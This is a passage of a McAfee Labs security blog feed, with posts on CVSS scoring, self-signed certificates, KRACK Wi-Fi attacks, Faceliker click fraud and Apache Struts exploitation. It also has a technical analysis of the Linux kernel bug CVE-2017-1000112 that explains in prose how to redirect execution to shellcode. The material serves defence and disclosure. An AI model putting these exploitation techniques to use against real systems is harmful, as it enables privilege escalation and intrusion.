A CVSS score of even 5.3 gives a luster of importance to CVE-2017-3735 that it does not deserve. Any of the potentially higher scores suggest the wrong direction, which is probably why scorers refrained from including the potential for a confidentiality impact. Still, we should analyze this score to understand the strengths and limitations of CVSS. If scored for all impacts and the ease of exploitation at 6.5, CVSS indicates that this is an important vulnerability that should be addressed in a timely manner. Yet if my analysis is correct, CVE-2017-3735 should not move to the top or even middle of anyone’s work queue. Patch it in due time, through scheduled update cycles. Nothing more.

The potential impact from CVE-2017-3735 is probably not significant in the vast majority of OpenSSL’s use cases. Integrity = Low, maybe Confidentiality = Low, too. Attacker utility = None.

In fact, the most often published description for CVE=2017-3735 indicates the trivial nature of any impact: “The most likely result would be an erroneous display of the certificate in text format.” (See References.[4])

After reading this analysis, I hope it is clear that CVSS fails to account for the complete situation with respect to CVE-2017-3735.

Unequal Weights

As we mentioned, the exploitability and impact scores are each weighted equally (actually, averaged). From the attacker’s view, this is inaccurate.

Attackers do not equally exploit every vulnerability. More important, attackers do not choose to exploit a vulnerability simply because it is easy to exploit. They have no time for that; attackers are trying to achieve their goals, whatever those may be. Anyone prioritizing vulnerability responses needs to keep this in mind as we analyze.

The following published description for CVE-2017-3735 is, at the very least, misleading and erroneous, considering the single-byte heap buffer overread affects only a user-initiated text dump:

“Successfully exploiting this issue will allow attackers to bypass security restrictions and perform unauthorized actions; this may aid in launching further attacks.”

There are no “security restrictions” involved in a certificate transformed to text. Further, a single byte is insufficient to enable “launching further attacks” even if the issue were more than an overread: The attacker cannot gain control of program memory through this flaw.

Quite often, organizations have hundreds or thousands of vulnerabilities to examine. To which should they respond first? Which response should get the most resources? Which of the perhaps dozens of vulnerabilities announced in any week or month can be allowed to remain open in the face of limited resources?

These are fundamental questions that every organization must answer, probably every day. One way to prioritize is to begin assessing the potential impact to the organization and the potential utility to the attacker. These two dimensions are more important than how easy or difficult a vulnerability is to exploit, although that also important information once we determine that a vulnerability is significant.

Calculating CVSS helps practitioners identify those items that warrant deeper analysis. Unfortunately, due to the way that a CVSS base score is averaged across the exploitability and the impact dimensions, CVSS in some instances fails to sufficiently assess risk, especially in cases where utility to an attacker appears to be relatively insignificant.

The McAfee PSIRT uses CVSS as a critical tool for triaging vulnerabilities and for gauging response times. Still, CVSS is no substitute for a deeper risk analysis when it is warranted.

Notes

[1] We did not have access for this analysis to an OpenSSL code graph, which would have allowed a definitive examination of calls to the vulnerable code. However, it appears from a cursory examination that the module is primarily called upon user instigation, from command-line tools, not during protocol processing.

[2] There are numerous cases of scores being inflated or deflated to fit the agenda of the scorer. How can cross-site scripting scores range from 1.8 to 9? That seems impossible, but a simple search will return that range of scores from Mitre’s CVE data.

[3] Vendors may calculate alternate scores for their products, which will be dependent upon particular vendor circumstances.

[4] One published description seems to vary considerably. The following does not seem to match our reading of the code or the behavior of a single-byte heap buffer overread:

“Successfully exploiting this issue will allow attackers to bypass security restrictions and perform unauthorized actions; this may aid in launching further attacks.”

The post Don’t Substitute CVSS for Risk: Scoring System Inflates Importance of CVE-2017-3735 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/dont-substitute-cvss-for-risk-scoring-system-inflates-importance-of-cve-2017-3735/feed/ 0
Self-Signed Certificates Can Be Secure, So Why Ban Them? https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/self-signed-certificates-secure-so-why-ban/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/self-signed-certificates-secure-so-why-ban/#respond Fri, 03 Nov 2017 19:00:00 +0000 https://securingtomorrow.mcafee.com/?p=81973 This blog was co-written by Brook Schoenfield and Ramnath Venugopalan. In many organizations the use of self-signed certificates is forbidden by policy. Organizations may ban the use of self-signed certificates for several reasons: It is trivially easy to generate a certificate’s key pair without reasonable entropy, to fail protect the private key of the key […]

The post Self-Signed Certificates Can Be Secure, So Why Ban Them? appeared first on McAfee Blogs.

]]>
This blog was co-written by Brook Schoenfield and Ramnath Venugopalan.

In many organizations the use of self-signed certificates is forbidden by policy. Organizations may ban the use of self-signed certificates for several reasons: It is trivially easy to generate a certificate’s key pair without reasonable entropy, to fail protect the private key of the key pair appropriately to its use, to poorly validate the certificate when used, and to misuse a self-signed certificate when a certificate authority should have been used instead. However, when properly and appropriately used, a self-signed certificate provides acceptable security in some situations.

There is a broadly held misunderstanding that self-signed certificates are inherently bad security. We offer this explanation to expand your understanding of certificate use. At the same time, we explain the circumstances under which McAfee’s use of a self-signed certificate in one of our products provides adequate security for our customers.

For many uses of public key infrastructure (PKI), the correct method for signing a certificate is to use a well-known, trusted third party, a certificate authority (CA). “In a CA-based PKI system, the CA must be trusted by both parties. This is usually accomplished by placing the CA certificates in a whitelist of trusted certificates,” says Wikipedia.

Indeed, self-signed certificates have several key limitations. Most important among these are:

  • Self-signed certificates cannot be revoked.
  • Self-signed certificates never expire.

However, there are cases for which a self-signed certificate may be sufficient, and perhaps a better choice than a certificate that has been signed by a CA.

In a public key infrastructure, in which parties to a communication are unknown to each other (and thus untrusted), the limitations of self-signed certificates presented above are important.

Consider browser-to-website connections. Users, via the browser, must ensure that the site to which they are connecting is indeed the intended site. In this case, having a trusted third party, the CA, is critical to validate that the web server in the connection is the one for which the certificate has been issued.

Establishing website-to-browser identity is the standard certificate use that transport layer security (TLS) pre-encryption authentication employs as well as the typical example for the use of certificates in general. This use case is also the driver for many organizational security policies in which the use of self-signed certificates is forbidden.

In the case where both sides of the communication know each other—often within the same entity—self-signing limitations become advantages. In this case, we can think of the certificate as a credential used to identify a particular entity to itself. This case is not entirely the same as attempting to establish trust between unknown parties.

In fact, when a certificate is used between two components in the same entity—that is, both sides are establishing that the other side is the one, intended component—the certificate is a form of shared secret, like a rather complex password.

In this case, there is no need for a third party to act as a root of trust. All that is required is that the key pair match—or, more precisely, that the public key can be used to verify that the certificate was signed with its private key mate (often called certificate pinning). Any public/private key pair will perform this function; an X.509 certificate happens to be a convenient and well understood “package” for the interaction.

The preceding self-signed use case presupposes that the private key of the certificate’s key pair has been and will continue to be protected with great care, similar to any important credential. One of the advantages of using an X.509 certificate for authentication is that the private key need not be installed (and thus is highly protected!) along with the certificate. The private key is used to generate the certificate. After generation, the private key is no longer needed to validate the certificate; only the public key is required.

Of course, a certificate when used as a credential requires sufficient protection, just as with any form of credential. Still, without the private key, the certificate becomes a one-of-a-kind credential; it can be reused if stolen, but it cannot be regenerated without access to the private key.

A self-signed certificate used for intercomponent authentication for TLS must be protected so that the likelihood of theft is very low. At McAfee, we provide layers of self-protection against the theft and reuse of products authentication certificates.

X.509 is nearly ubiquitous and has a great deal of programming and processing support. Hence, it is faster to deliver authentication based upon certificates than to build alternate software to validate key pairs. Besides, in the case of TLS, the protocol specifies X.509 certificates; certificates must be used to take advantage of TLS’ built-in authentication mechanism.

Because a self-signed certificate cannot be revoked and it does not expire, this reduces update and patching complexities in a connection between components built by the same entity and intended to be used solely within that closed context. However, to replace a certificate, for whatever reason, requires a software update because each self-signed certificate is the credential, rather than relying on trust of a certificate authority.

If the self-signed certificate’s private key were to become compromised in some manner, software could be updated with a new set of certificates and new keys. The compromised certificate would be tossed out, removed from service because it could not be used to establish trust between the parties. Because the old certificate is self-signed, it also will not work for other uses, such as the TLS server-side authentication we have described.

Essentially, once removed from its intended use, a self-signed certificate is useless to any party, malicious or otherwise.

At McAfee, we take our customer’s security seriously. We analyze each cryptography case carefully to identify the best solution that will help to ensure our customers continued protection. The use of self-signed certificates in McAfee products is appropriate to the use to which the self-signed certificate has been applied.

For more stories like this, be sure to follow us on Twitter at @McAfee_Labs.

The post Self-Signed Certificates Can Be Secure, So Why Ban Them? appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/self-signed-certificates-secure-so-why-ban/feed/ 0
KRACKs Against Wi-Fi Serious But Not End of the World https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/kracks-against-wi-fi-serious-but-not-end-of-the-world/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/kracks-against-wi-fi-serious-but-not-end-of-the-world/#respond Wed, 18 Oct 2017 16:08:22 +0000 https://securingtomorrow.mcafee.com/?p=80757 This blog was written by Brook Schoenfield. On October 12, researcher Mathy Vanhoef announced a set of Wi-Fi attacks that he named KRACKs, for key reinstallation attacks. These attack scenarios are against the WPA2 authentication and encryption key establishment portions of the most recent set of protocols. The technique is through key reinstallation. The attack […]

The post KRACKs Against Wi-Fi Serious But Not End of the World appeared first on McAfee Blogs.

]]>
This blog was written by Brook Schoenfield.

On October 12, researcher Mathy Vanhoef announced a set of Wi-Fi attacks that he named KRACKs, for key reinstallation attacks. These attack scenarios are against the WPA2 authentication and encryption key establishment portions of the most recent set of protocols. The technique is through key reinstallation.

The attack can potentially allow attackers to send attacker controlled data to your Wi-Fi connected device. In some situations, the attacker can break the built in Wi-Fi protocol’s encryption to reveal users’ Wi-Fi messages to the attacker.

However key reinstallation depends on either working with the inherent timing of a Wi-Fi during a discreet, somewhat rare (in computer terms) exchange or the technique depends upon the attacker forcing the vulnerable exchange through some method (see below for examples). Both of these scenarios take a bit of attacker effort, perhaps more effort than using any one of the existing methods for attacking users over Wi-Fi?

For this reason, while KRACKs is a serious issue that should be fixed as soon as possible (see below), our collective digital lives probably won’t experience a tectonic shift due to Wi-Fi key reinstallation attacks.

Please read on for a technical analysis of the issue.

“… because messages may be lost or dropped, the Access Point (AP) will retransmit message 3 if it did not receive an appropriate response as acknowledgment. As a result, the client may receive message 3 multiple times. Each time it receives this message, it will reinstall the same encryption key, and thereby reset the incremental transmit packet number (nonce) and receive replay counter used by the encryption protocol. We show that an attacker can force these nonce resets by collecting and replaying retransmissions of message 3 of the 4-way handshake. By forcing nonce reuse in this manner, the encryption protocol can be attacked, e.g., packets can be replayed, decrypted, and/or forged.”

–Mathy Vanhoef, “Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2”

The highlighted text above is Vanhoef’s, not mine.

Depending upon which key establishment exchange is attacked, as Vanhoef notes, injection of messages might be the result. But, for some exchanges, decryption might also be possible.

For typical Wi-Fi traffic exchange, AES-CCMP is used between the client (user) and the access point (AP, the Wi-Fi router). Decryption using KRACKs is not thought to be possible. But decryption is not the only thing to worry about.

An attacker might craft a message that contains malware, or at least, a “dropper,” a small program that when run will attempt to install malware. Having received the dropper, even though the message may make no sense to the receiving program, the dropper is still retained in memory or temporary, perhaps even permanent, storage by the receiving computer. The attacker then has to figure out some way to run the dropper—in attack parlance, to detonate the exploit that has been set up through the Wi-Fi message forgery.

“Simplified, against AES-CCMP an adversary can replay and decrypt (but not forge) packets. This makes it possible to hijack TCP streams and inject malicious data into them. Against WPA-TKIP and GCMP the impact is catastrophic: packets can be replayed, decrypted, and forged.“

–Mathy Vanhoef, “Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2”

Packet forgery is worse, as the receiver may consider that the data is legitimate, making it easier for an attacker to have the receiver accept unexpected data items, influencing the course of an exchange and establish a basis upon which to conduct follow-on, next-step exploits.

In my opinion KRACKs are a serious problem to which the wise will wish to respond.

The essential problem with Wi-Fi is that it is free to intercept. Radio waves travel over the air, which, as we all know, is a shared medium. One need not “plug in” to capture Wi-Fi (or any radio-carried) packets. One simply must craft a receiver strong enough to “hear,” that is, receive the transmissions of interest.

But although certainly serious, are KRACKs the end of the known digital universe? I think not.

First, the attacker has to be present and alert to the four-way, WPA2 handshake. If this has already passed successfully, the attacker’s key reinstallation is no longer possible. The handshake must be interjected at exchange #3, which will require some precision. Or, the attacker must force the key exchange.

One could, I imagine, write an attack that would identify all WPA2 handshake exchanges within range, and inject the attacker’s message #3 to each handshake to deliver some sort of follow-on exploit. This would be a shotgun approach, and might on large, perhaps relatively open networks have potential attacker benefits.[1]

Supplicants (as Wi-Fi clients are called) do not constantly handshake. The handshake interchange takes place upon authentication and reauthentication, and in some networks upon shifting from one AP to another when the client changes location (a “hand-off”). These are discreet triggers, not a constant flow of handshake message #3. Johnny or Janie attacker has to be ready and set up in anticipation of message #3. That is, right after message #3 goes by, attacker’s #3 must be sent. Once the completed handshake message #4 goes by, I believe that the attack opportunity closes.

I fear that the timing part might be tricky for the average criminal attacker. It would be much easier to employ readily available Wi-Fi sniffing tools to capture sufficient traffic to allow the attacker to crack weak Wi-Fi passwords.

There are well-understood methods for forcing Wi-Fi authentication (see DEAUTH, below). Since these methods can be used to reveal the password for the network or the user, using one of these may be a more productive attack?

There are other methods for obtaining a Wi-Fi password, as well: The password must be stored somewhere on each connecting device or the user would need to reenter the password upon every connection/reconnection. Any attack that gives attacker access to privileged information kept by any device’s operating system can be used to gain locally stored secrets like Wi-Fi passwords.

Wi-Fi password theft (whether WPA-Enterprise or WPA-Personal) through Wi-Fi deauthentication, “DEAUTH,” has been around for some time; numerous tools make the attack relatively trivial and straightforward.

Nation-state attackers may have access to banks of supercomputers or massive parallel processing systems that they can apply for rapid password cracking of even complex passwords. A targeted nation-state–sponsored Wi-Fi password-cracking attack is difficult to entirely prevent with today’s technologies. There are likely other adversaries with access to sufficient resources to crack complex passwords in a reasonable amount of time, as well.[2]

Obviously, as Vanhoef suggests, as soon as your operating system or Wi-Fi client vendor offers an update to this issue, patch it quickly. Problem, hopefully, solved. Please see https://www.krackattacks.com for updates from security vendors that are working with the discoverer. Question your vendor. If your vendor does not respond, pressure them; that’s my suggestion.

Other actions that organizations can couple with good Wi-Fi hygiene are to use good traffic and event analysis tools, such as modern Security Information Event Management (SIEM) software, network ingress and egress capture for anomaly analysis, and perhaps ingress/egress gateways that prevent many types of attack and forms of traffic.

“One can use VPN, SSH2 tunnels, etc., to ensure some safety from ARP poisoning attacks. Mathy Vanhoef also uses an SSL stripper that depends on badly configured web servers. Make sure your TLS implementation is correct!”

– Carric Dooley, Global Lead, Foundstone Consulting Services

Organization Wi-Fi hygiene includes rapidly removing rogue access points, Wi-Fi authentication based upon the organization’s central authentication mechanism (thus do not employ a WPA password), strong password construction rules, and certificates issued to each Wi-Fi client without which access to Wi-Fi will be denied. Add Wi-Fi event logs to SIEM collection and analysis. Find out whether organization access points generate an event on key reinstallation. This is a fairly rare event. If above-normal events are being generated, your Wi-Fi may be suffering from a KRACK.

None of the foregoing measures will directly prevent key reinstallation attacks. Reasonable security practices do make gaining access to Wi-Fi more difficult, which will prevent or slow other Wi-Fi attacks. Plus, physical security ought to pay attention to anyone sitting in the parking lot with a Wi-Fi antenna pointing at a campus building. But that was just as true before KRACKs were discovered.

For home users, use a complex password on your home Wi-Fi. Make cracking your password difficult. Remember, you usually must enter the password only once for each client device.

Maintain multiple Wi-Fi networks (probably, multiple access points), each with different passwords: one for work or other sensitive use; and another for smart TVs and the like and other potentially vulnerable devices such as Internet of Things devices—isolate those from your network shares, printers, and other sensitive data and trusted devices. Install a third Wi-Fi for your guests. That network should be set up so that each session is isolated from the others; all your guests need is to get to the internet. Each SSID network must have a separate, highly varied password: numbers, lowercase, uppercase, symbols. Make it a long passphrase that resists dictionary attacks.

Wi-Fi routers are a commodity; I do not suggest spending a great deal of money. How much speed do your occasional guests really need? Few Internet connections are as fast as even bottom-tier home Wi-Fi. Most of your visitors probably do not need access to your sensitive data, yes? Should your kids have their own Wi-Fi so that their indiscretions do not become yours?

Multiple Wi-Fi networks will help to slow and perhaps confound KRACKs cybercriminals. “Which network should I focus on?” You increase the reconnaissance the attacker must perform to promulgate a successful attack. Maybe they will move on to simpler home network.

If you happen to notice someone sitting in a car in your neighborhood with an open laptop, be suspicious. If they have what looks like an antenna, maybe let law enforcement know.

Basic digital security practices can perhaps help. For instance, use a VPN even over Wi-Fi. Treat Wi-Fi, particularly, publicly available Wi-Fi as an untrustable network. Be cognizant of where the Wi-Fi exists. WPA2 is vulnerable to decryption, so don’t trust airports, hotels, cafes, anywhere where the implementers and maintainers of the network are unknown.

Users of some Android and Linux clients should be aware that an additional implementation error allows an attacker immediate access to the decryption of client and access point Wi-Fi traffic. Remember, all those smart TVs, smart scales, home automation centers, and thermostats are usually nothing more than specialized versions of Linux. Hence, each may be vulnerable. On the other hand, if these are segregated onto a separate, insecure Wi-Fi, at least attackers will not have readily gained your more sensitive network and devices. While waiting for a patch for your vulnerable Android device, perhaps it makes sense to put it on the untrusted home Wi-Fi as a precaution.

You may have noticed that I did not suggest changing the home Wi-Fi passwords. Doing so will not prevent this attack. Still, the harder your WPA2 password is to crack, the more likely common cybercriminals will move on to easier pickings.

As is often the case in these serious issues, reasonable security practices may help. At the same time, failure to patch quickly leaves one vulnerable for as long as it takes to patch. I try to remember that attackers will become ever more facile with these methods and what they can do with them. They will build tools, which, if these have value, will then become ever more widespread. It is a race between attacker capability and patching. To delay deploying patches is typically a dance with increasing risk of exploitation. In the meantime, the traffic from this attack will be anomalous. Watch for it, if you can.

Many thanks to Carric Dooley of Foundstone Professional Services for his help with this analysis.

 

[1] “When a client joins a network, it […] will install this key after receiving message 3 of the 4-way handshake. Once the key is installed, it will be used to encrypt normal data frames using an encryption protocol. However, because messages may be lost or dropped, the Access Point (AP) will retransmit message 3 if it did not receive an appropriate response as acknowledgment. […] Each time it receives this message, it will reinstall the same encryption key, and thereby reset the incremental transmit packet number (nonce) and receive replay counter used by the encryption protocol. We show that an attacker can force these nonce resets by collecting and replaying retransmissions of message 3 of the 4-way handshake. By forcing nonce reuse in this manner, the encryption protocol can be attacked, e.g., packets can be replayed, decrypted, and/or forged.”

[2] My LinkedIn password was among those stolen during the 2011 LinkedIn breach. A research team attempted to crack passwords. After three months, they cracked something like 75% of the passwords. However, my highly varied, but merely six-character password was never cracked. Although today’s cracking is factors more sophisticated and rapid, a varied nondictionary password still slows the process  considerably.

The post KRACKs Against Wi-Fi Serious But Not End of the World appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/kracks-against-wi-fi-serious-but-not-end-of-the-world/feed/ 0
Linux Kernel Vulnerability Can Lead to Privilege Escalation: Analyzing CVE-2017-1000112 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/#respond Mon, 02 Oct 2017 14:00:08 +0000 https://securingtomorrow.mcafee.com/?p=78989 This blog was written by Krishs Patil. A memory corruption bug in UDP fragmentation offload (UFO) code inside the Linux kernel can lead to local privilege escalation. In this post we will examine this vulnerability and its accompanying exploit. Although this bug affects both IPv4 and IPv6 code paths, we analyzed only IPv4 code running […]

The post Linux Kernel Vulnerability Can Lead to Privilege Escalation: Analyzing CVE-2017-1000112 appeared first on McAfee Blogs.

]]>
This blog was written by Krishs Patil.

A memory corruption bug in UDP fragmentation offload (UFO) code inside the Linux kernel can lead to local privilege escalation. In this post we will examine this vulnerability and its accompanying exploit. Although this bug affects both IPv4 and IPv6 code paths, we analyzed only IPv4 code running on vulnerable kernel version 4.8.0 of Ubuntu xenial. The bug was fixed in Commit 85f1bd9.

Andrey Konovalov recently disclosed local privilege escalation exploits for vulnerabilities he found inside the Linux network subsystem while “fuzzing” with the tool syzcaller. In an oss-sec mailing thread, Konovalov wrote “When building a UFO packet with MSG_MORE __ip_append_data() calls ip_ufo_append_data() to append. However in between two send() calls, the append path can be switched from UFO to non-UFO one, which leads to a memory corruption.”

NIC Offloads and UFOs  

Network interface card (NIC) offload allows the protocol stack to transmit packets that are larger than the Ethernet maximum transmission unit (MTU), which by default is 1,500 bytes. When NIC offload is enabled, the kernel will assemble multiple packets into a single large packet and pass it to the hardware, which handles IP fragmentation and segmentation into MTU-sized packets. This offload is often used with high-speed network interfaces for increased throughput because UFO can send large UDP packets.

The Linux kernel can take advantage of the segmentation-offload capabilities of various NICs.

Triggering a POC

The following is a simple proof of concept that will trigger kernel panic:

To build UFO packets inside the kernel we can take one of two steps:

  • Use the UDP_CORK socket option, which tells the kernel to accumulate all data on this socket into a single diagram to be transmitted when the option is disabled.
  • Use the MSG_MORE flag when calling send/sendto/sendmsg, which tells the kernel to accumulate all data on this socket into single diagram to be transmitted when a call is performed that does not specify this flag. This method triggers the vulnerability.

Inside the kernel, the udp_sendmsg function is responsible for constructing UDP packets and sending them to the next layer. The following code shows a stripped implementation of UDP cork functionality enabled by the user program using the UDP_CORK socket option or the MSG_MORE flag when calling send/sendto/sendmsg. When UDP corking is enabled, the ip_append_data function is called to accumulate multiple packets into single large packet.

The function ip_append_data is a wrapper around __ip_append_data, which is responsible for socket buffer management by allocating a new socket buffer to store the data passed to it or by appending the data to existing data when the socket is corked. One important task performed by this function is the handling of UFO. Socket buffers are managed in the socket’s send queue. In the case of corked sockets, the queue has an entry in which additional data can be appended. The data sits on the send queue until udp_sendmsg determines it is time to call udp_push_pending_frames, which finalizes the socket buffer and calls udp_send_skb.

The Linux kernel stores packets in the structure sk_buff (socket buffer), which is used by all network layers to store their headers, information about user data (payload), and other internal information.

The socket buffer inside the kernel.

In the preceding diagram, the head, data, tail, and end members of sk_buff point to the boundaries of the memory region in which protocol headers and the user payload is stored. The head and end point to the beginning and end of space allocated to the buffer. Data and tail point to the beginning and end of user data within the entire space. Immediately following the end boundary, the structure skb_shared_info holds important information for IP fragmentation.

Memory Corruption

When the first call to “send” is made with the MSG_MORE flag, as shown in the earlier POC, __ip_append_data takes creates a new socket buffer by calling ip_ufo_append_data, as we see in the following code:

When this call is finished, and the new socket buffer is created, user data is copied to the fragment and the shared info structure is updated with fragment information, as shown in the next image. The newly created sk_buff is then placed in the queue.

In the next step, the PoC updates the socket to not calculate a checksum on the UDP by setting the option SO_NO_CHECK ; this overrides the sk->sk_no_check_tx member of the socket structure. Inside __ip_append_data this variable is checked as one of the conditions prior to calling ip_ufo_append_data.

During the POC’s second call to “send,” a non-UFO path is taken inside __ip_append_data, which proceeds to a fragment length calculation loop. During the first iteration of the loop, the value of copy becomes negative, which triggers a new socket buffer allocation. Plus the fraggap calculation exceeds the MTU and triggers fragmentation. This leads to copying the user payload from sk_buff, created by the first send call, to the newly allocated sk_buff using the skb_copy_and_csum_bits function. This copies a specified number of bytes from the source buffer to the destination sk_buff and computes a checksum. Calling skb_copy_and_csum_bits with a length greater than the newly created sk_buff boundary end limit overwrites the data beyond the socket buffer and corrupts the skb_shared_info structure that is immediately preceded by sk_buff.

The corrupted skb_shared_info structure follows. The memory at address 0xffff88003a4ca900 is the newly created sk_buff with end=1728, where the fragmentation is triggered.

Exploitation

This bug can be exploited by an unprivileged user when unprivileged user namespaces are allowed on most default Ubuntu desktop systems. Users should be able to do two things:

  • Set up an interface with UFO enabled (possible from the user namespace) or use that interface if it is already present. (The “lo” interface enables UFO by default.)
  • Disable the NETIF_F_UFO interface feature or set the SO_NO_CHECK socket option.

Code execution can be diverted to user-mode shellcode by simply crafting a fake skb_shared_info structure at the end of a large buffer and setting the callback member to shellcode. The second “send” triggers an out-of-bounds condition on the socket buffer, overwriting skb_shared_info->destructor_arg with the user-mode shellcode address, which is invoked before sk_buff is released from kernel memory.

The Linux kernel offers a big attack surface when exposed to unprivileged users. All users should keep their systems patched with the latest updates.

Stay up to date on this vulnerability and more by following @McAfee_Labs.

The post Linux Kernel Vulnerability Can Lead to Privilege Escalation: Analyzing CVE-2017-1000112 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/linux-kernel-vulnerability-can-lead-to-privilege-escalation-analyzing-cve-2017-1000112/feed/ 0
McAfee Labs: Faceliker Surge Manipulates Facebook “Likes” to Promote News, Other Content https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-faceliker-surge-manipulates-facebook-likes-promote-news-content/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-faceliker-surge-manipulates-facebook-likes-promote-news-content/#respond Tue, 26 Sep 2017 18:00:18 +0000 https://securingtomorrow.mcafee.com/?p=79177 Criminals excel in manipulating the trust within human relationships, particularly as individuals project themselves into digital realms such as social media. We see it in phishing messages, which fool us into clicking on a malicious weblink from what appears to be a benign organization with which we do business. We also see it in the […]

The post McAfee Labs: Faceliker Surge Manipulates Facebook “Likes” to Promote News, Other Content appeared first on McAfee Blogs.

]]>
Criminals excel in manipulating the trust within human relationships, particularly as individuals project themselves into digital realms such as social media. We see it in phishing messages, which fool us into clicking on a malicious weblink from what appears to be a benign organization with which we do business. We also see it in the much discussed area of “fake news” on social networks, where readers are likely to take news reports “liked” by friends as legitimate news stories. Much has been written about how “fake news” is promoted by bots and other amplification services, and how such promotion may have had an impact on recent elections.

The McAfee Labs Threats Report: September 2017, released today, identifies a notable surge in similar activity by the Faceliker malware. This Trojan manipulates Facebook accounts clicks to artificially “like” certain content. Faceliker accounted for about 8.9% of the 52 million new malware samples detected in the quarter. It was a key driver in the 67% overall growth for the category during the period.

Faceliker is not the fault of Facebook. Rather, it is something users bring to Facebook.

Faceliker infects users’ browsers when they visit malicious or compromised websites. It then hijacks their Facebook account clicks in such a way that users think they are liking one thing, but the malware is redirecting the click. It acts on their behalf to click another “like” button without their knowledge or consent, essentially making each user an accomplice in the click fraud scheme.

Users aren’t negatively impacted by the Trojan, but they do appear to over-like certain content, skewing like-ratings through fraudulent inflation. The actors behind malware such as Faceliker sell their services to the actors behind the content.

Suspicious users can remove unrecognized likes by surveying their record of behavior in their activity log. To its credit, Facebook has put up defenses that detect fraudulent likes and ask a user to confirm that they intended to click as their browser appeared to click.

McAfee Labs Vice President Vincent Weafer has commented that as long as there is profit in such efforts, we should expect to see more such schemes in the future.

“Faceliker leverages and manipulates the social media and app-based communications we increasingly use today,” Weafer said. “By making apps or news articles appear more popular, accepted, and legitimate among friends, unknown actors can covertly influence the way we perceive value and even truth.”

Please see more threat statistics and trends analysis in this quarter’s report and follow us on Twitter at @McAfee_Labs.

The post McAfee Labs: Faceliker Surge Manipulates Facebook “Likes” to Promote News, Other Content appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-labs-faceliker-surge-manipulates-facebook-likes-promote-news-content/feed/ 0
McAfee Demos Ease of Exploiting Recent Apache Struts Vulnerability https://securingtomorrow.mcafee.com/business/mcafee-demos-ease-of-exploiting-recent-apache-struts-vulnerability/ https://securingtomorrow.mcafee.com/business/mcafee-demos-ease-of-exploiting-recent-apache-struts-vulnerability/#respond Wed, 20 Sep 2017 13:00:27 +0000 https://securingtomorrow.mcafee.com/?p=78752 This post was written by Brook Schoenfield and the Advanced Threat Research Team. A series of exploitable conditions have been uncovered in Apache Struts. One of these, CVE-2017-9805, allows unauthenticated execution of attacker code (aka remote code execution). This issue has already been weaponized into attack kits such as Metasploit and exploitation has been seen […]

The post McAfee Demos Ease of Exploiting Recent Apache Struts Vulnerability appeared first on McAfee Blogs.

]]>
This post was written by Brook Schoenfield and the Advanced Threat Research Team.

A series of exploitable conditions have been uncovered in Apache Struts. One of these, CVE-2017-9805, allows unauthenticated execution of attacker code (aka remote code execution). This issue has already been weaponized into attack kits such as Metasploit and exploitation has been seen “in the wild”; that is, attackers are attempting to take advantage of the flaw.

Apache Struts is a popular open-source component that is used in numerous websites across the Internet, which makes a remote code execution vulnerability very concerning. Speculation is widespread about this issue’s exploitation.

CVE-2017-9805 describes a vulnerability in Apache Struts 2.5.12 that could be subject to a malware attack or other vector of attack designed to take advantage of the vulnerability. To our knowledge, Apache Struts 2.5.12 is not used in McAfee enterprise products as delivered by McAfee.

To demonstrate how easy it is to exploit the vulnerability, we created a little demo in which we take ownership of a vulnerable system. You can watch the video here.

To have an indication of the volume of attacks, the Advanced Threat Research (ATR) team set up a “honeypot” system to attract attack attempts. After less than two hours online, the ATR honeypot system recorded two attacks. One of the attackers attempted to run the Windows command line (cmd.exe) on our Linux box; the other attacker attempted to create a reverse shell toward his machine. If that had been successful, he could have gained full control of our system. Of course, our honeypot setup does not allow a compromise.

McAfee handles reported vulnerabilities in accordance with our product security practices. McAfee adheres to international product incident practices, including CVSS Version 3.0 calculation and CVE assignment.

McAfee actively encourages customer engagement and welcomes specific requests for clarification about our software security process.  There are some things we do not disclose, such as lists of vulnerabilities found through internal investigations or automated testing tools.

For external communications, we publish a security bulletin to all customers of an affected McAfee product as soon as McAfee’s security vulnerability team has confirmed that the vulnerability is critical, and after McAfee has determined appropriate mitigation for the vulnerability. (“Critical” means greater than or equal to CVSS 8.5.) The bulletin may address mitigations, workarounds, and updates. Please see McAfee’s Product Security Bulletins for more information.

The post McAfee Demos Ease of Exploiting Recent Apache Struts Vulnerability appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/mcafee-demos-ease-of-exploiting-recent-apache-struts-vulnerability/feed/ 0
Everyday Hero: 5 Questions with McAfee Labs’ Paula Greve https://securingtomorrow.mcafee.com/other-blogs/life-at-mcafee/everyday-hero-5-questions-mcafee-labs-paula-greve/ https://securingtomorrow.mcafee.com/other-blogs/life-at-mcafee/everyday-hero-5-questions-mcafee-labs-paula-greve/#comments Wed, 26 Jul 2017 21:00:59 +0000 https://securingtomorrow.mcafee.com/?p=76391

iWith cybersecurity experts taking center stage this week at the Black Hat conference in Las Vegas, the world is watching for the release of the latest breakthrough research, development, and trends. Paula Greve, a principal engineer leading the data science team within McAfee Labs, is on the front lines of cybersecurity defense. As the industry […]

The post Everyday Hero: 5 Questions with McAfee Labs’ Paula Greve appeared first on McAfee Blogs.

]]>

iWith cybersecurity experts taking center stage this week at the Black Hat conference in Las Vegas, the world is watching for the release of the latest breakthrough research, development, and trends. Paula Greve, a principal engineer leading the data science team within McAfee Labs, is on the front lines of cybersecurity defense. As the industry gathers at this crucial time, she answers five questions about her job.

Why did you pursue a career in data science?

Solving puzzles. Detecting patterns. I get a thrill from making sense of the seemingly unconnected.

